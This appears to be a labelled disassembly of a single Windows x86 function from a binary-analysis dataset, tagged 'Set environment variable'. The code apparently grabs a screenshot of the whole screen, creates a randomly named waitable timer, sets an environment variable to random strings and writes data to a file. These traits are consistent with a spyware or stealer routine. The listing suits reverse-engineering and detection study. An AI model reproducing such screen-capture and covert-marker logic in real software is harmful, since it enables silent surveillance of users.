Function at 0x40cddc
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
xor eax, eax
mov dword [ebp - 0x48], 1
push esi
push edi
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 4], eax
call dword [0x415158]
push dword [0x41548c]
mov ebx, eax
mov eax, dword [0x41503c]
mov dword [ebp - 0x18], ebx
call eax
push dword [0x41538c]
mov esi, eax
mov eax, dword [0x41503c]
call eax
push dword [0x415464]
mov edi, eax
mov eax, dword [0x4150d8]
push esi
call eax
push dword [0x415290]
mov dword [0x4151a0], eax
mov eax, dword [0x4150d8]
push esi
call eax
push dword [0x415298]
mov dword [0x415120], eax
mov eax, dword [0x4150d8]
push esi
call eax
push dword [0x4154b0]
mov dword [0x41516c], eax
mov eax, dword [0x4150d8]
push esi
call eax
push dword [0x415420]
mov dword [0x41517c], eax
mov eax, dword [0x4150d8]
push esi
call eax
push dword [0x415370]
mov dword [0x41513c], eax
mov eax, dword [0x4150d8]
push esi
call eax
push dword [0x4153f4]
mov dword [0x41515c], eax
mov eax, dword [0x4150d8]
push edi
call eax
push dword [0x415450]
mov dword [0x415010], eax
mov eax, dword [0x4150d8]
push edi
call eax
push dword [0x415350]
mov dword [0x415104], eax
mov eax, dword [0x4150d8]
push edi
call eax
push dword [0x415400]
mov dword [0x415058], eax
mov eax, dword [0x4150d8]
push edi
call eax
push dword [0x41559c]
mov dword [0x415094], eax
mov eax, dword [0x4150d8]
push edi
call eax
push dword [0x415314]
mov dword [0x4150d0], eax
mov eax, dword [0x4150d8]
push edi
call eax
mov dword [0x415134], eax
mov eax, dword [0x4150d8]
push dword [0x415550]
push edi
call eax
push dword [0x415410]
mov dword [0x415064], eax
mov eax, dword [0x4150d8]
push edi
call eax
mov dword [0x415084], eax
mov eax, dword [0x41518c]
push 0
call eax
mov dword [ebp - 0x14], eax
mov eax, dword [0x41518c]
push ebx
call eax
mov ebx, eax
mov eax, dword [0x41504c]
push 0x208
push 0x40
mov dword [ebp - 0x1c], ebx
call eax
mov dword [ebp - 8], eax
mov eax, dword [0x415058]
push ebx
call eax
mov dword [ebp - 0x10], eax
test eax, eax
je 0x40d24a
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x18]
call dword [0x415124]
push 4
push ebx
call dword [0x415064]
mov eax, dword [0x415050]
mov edi, dword [0x415084]
push 1
call eax
mov esi, eax
mov eax, dword [0x415050]
push 0
call eax
push 0xcc0020
push esi
push eax
xor eax, eax
push eax
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push eax
push eax
push ebx
call edi
test eax, eax
je 0x40d24a
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x34]
mov ecx, dword [0x415104]
push eax
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x38]
push eax
push ebx
call ecx
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x40d24d
mov esi, dword [ebp - 0x10]
push edi
push esi
call dword [0x415134]
mov eax, dword [ebp - 0x2c]
xor edx, edx
sub eax, dword [ebp - 0x34]
mov ecx, dword [0x415010]
push 0xcc0020
push edx
push edx
push ebx
push eax
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x38]
push eax
push edx
push edx
push esi
call ecx
test eax, eax
je 0x40d24d
lea eax, [ebp - 0x60]
push eax
push 0x18
push edi
call dword [0x4150d0]
push 0
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [0x4151a0]
lea edx, [ebp - 8]
call fcn.0040fc55
test eax, eax
je 0x40d284
mov esi, dword [ebp - 8]
push ecx
push esi
push edi
call fcn.0040ccb1
cmp eax, 1
jne 0x40d27b
push str.WTMR_f4czntmm
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40d080
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.4mk4j70g
push str.yzvx33tf
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov eax, dword [0x41504c]
push 0x20
push 0x40
mov dword [ebp - 0xc], edi
call eax
mov ecx, dword [0x415044]
mov ebx, eax
push edi
push edi
push 4
push edi
push 1
push 0x80000000
push esi
call ecx
mov ecx, dword [0x41504c]
push 0x30c
push 0x40
mov dword [ebp - 8], eax
call ecx
mov ecx, dword [0x41504c]
mov edi, eax
push 0x618
push 0x40
call ecx
push dword [0x4151bc]
mov ecx, dword [0x415144]
push eax
call ecx
mov edx, dword [ebp + 8]
mov ecx, eax
call fcn.0040f6d4
mov ecx, dword [0x4150e8]
xor edx, edx
push edx
push edx
push edx
push edx
push 0xffffffffffffffff
push eax
push edx
push 0xfde9
mov dword [ebp + 8], eax
call ecx
test eax, eax
je 0x40d134
mov ecx, dword [0x4150e8]
xor edx, edx
push edx
push edx
push eax
push edi
push 0xffffffffffffffff
push dword [ebp + 8]
push edx
push 0xfde9
call ecx
test eax, eax
je 0x40d134
mov dword [ebx], edi
mov eax, dword [ebp - 8]
mov dword [ebx + 4], eax
mov dword [ebx + 8], esi
and dword [ebx + 0xc], 0
mov dword [ebp - 0xc], 1
jmp 0x40d153
push edi
call dword [0x4150cc]
mov eax, dword [ebp - 8]
push eax
call dword [0x4150c0]
push esi
call dword [0x4150f8]
push esi
call dword [0x4150cc]
push dword [ebp + 8]
call dword [0x4150cc]
mov eax, dword [0x41504c]
mov edi, 0x208
push edi
push 0x40
call eax
mov ecx, dword [0x41504c]
mov esi, eax
push edi
push 0x40
call ecx
push 0x10
pop edx
mov ecx, esi
mov edi, eax
call fcn.0040ea79
push dword [0x415240]
mov ecx, dword [0x415144]
push edi
mov dword [ebp + 8], eax
call ecx
mov edi, dword [ebp + 8]
mov ecx, eax
mov edx, edi
call fcn.0040f6d4
mov ecx, dword [0x415234]
and dword [ebp - 0x24], 0
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 8]
mov dword [ebp - 8], eax
call fcn.0040c901
mov ecx, dword [0x41504c]
push 0x184
push 0x40
mov dword [ebp + 8], eax
call ecx
mov ecx, dword [0x4150e8]
mov esi, eax
xor eax, eax
push eax
push eax
push eax
push eax
push 0xffffffffffffffff
push edi
push eax
push 0xfde9
call ecx
test eax, eax
je 0x40d220
mov ecx, dword [0x4150e8]
xor edx, edx
push edx
push edx
push eax
push esi
push 0xffffffffffffffff
push edi
push edx
push 0xfde9
call ecx
test eax, eax
je 0x40d220
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 8]
mov edx, esi
push ebx
push dword [ebp - 0xc]
push 0
push 0
call fcn.0040c0cc
add esp, 0x18
push esi
call dword [0x4150cc]
push dword [ebp + 8]
call dword [0x4150cc]
push dword [ebp - 8]
call dword [0x4150cc]
push edi
call dword [0x4150cc]
push ebx
call dword [0x4150cc]
mov ebx, dword [ebp - 0x1c]
mov edi, dword [ebp - 4]
push edi
call dword [0x415094]
push dword [ebp - 0x10]
call dword [0x415094]
push dword [ebp - 0x14]
push 0
call dword [0x4150f4]
push ebx
push dword [ebp - 0x18]
call dword [0x4150f4]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 8
push esi
call dword [0x4150cc]
jmp 0x40d24d
push dword [ebp - 8]
jmp 0x40d27c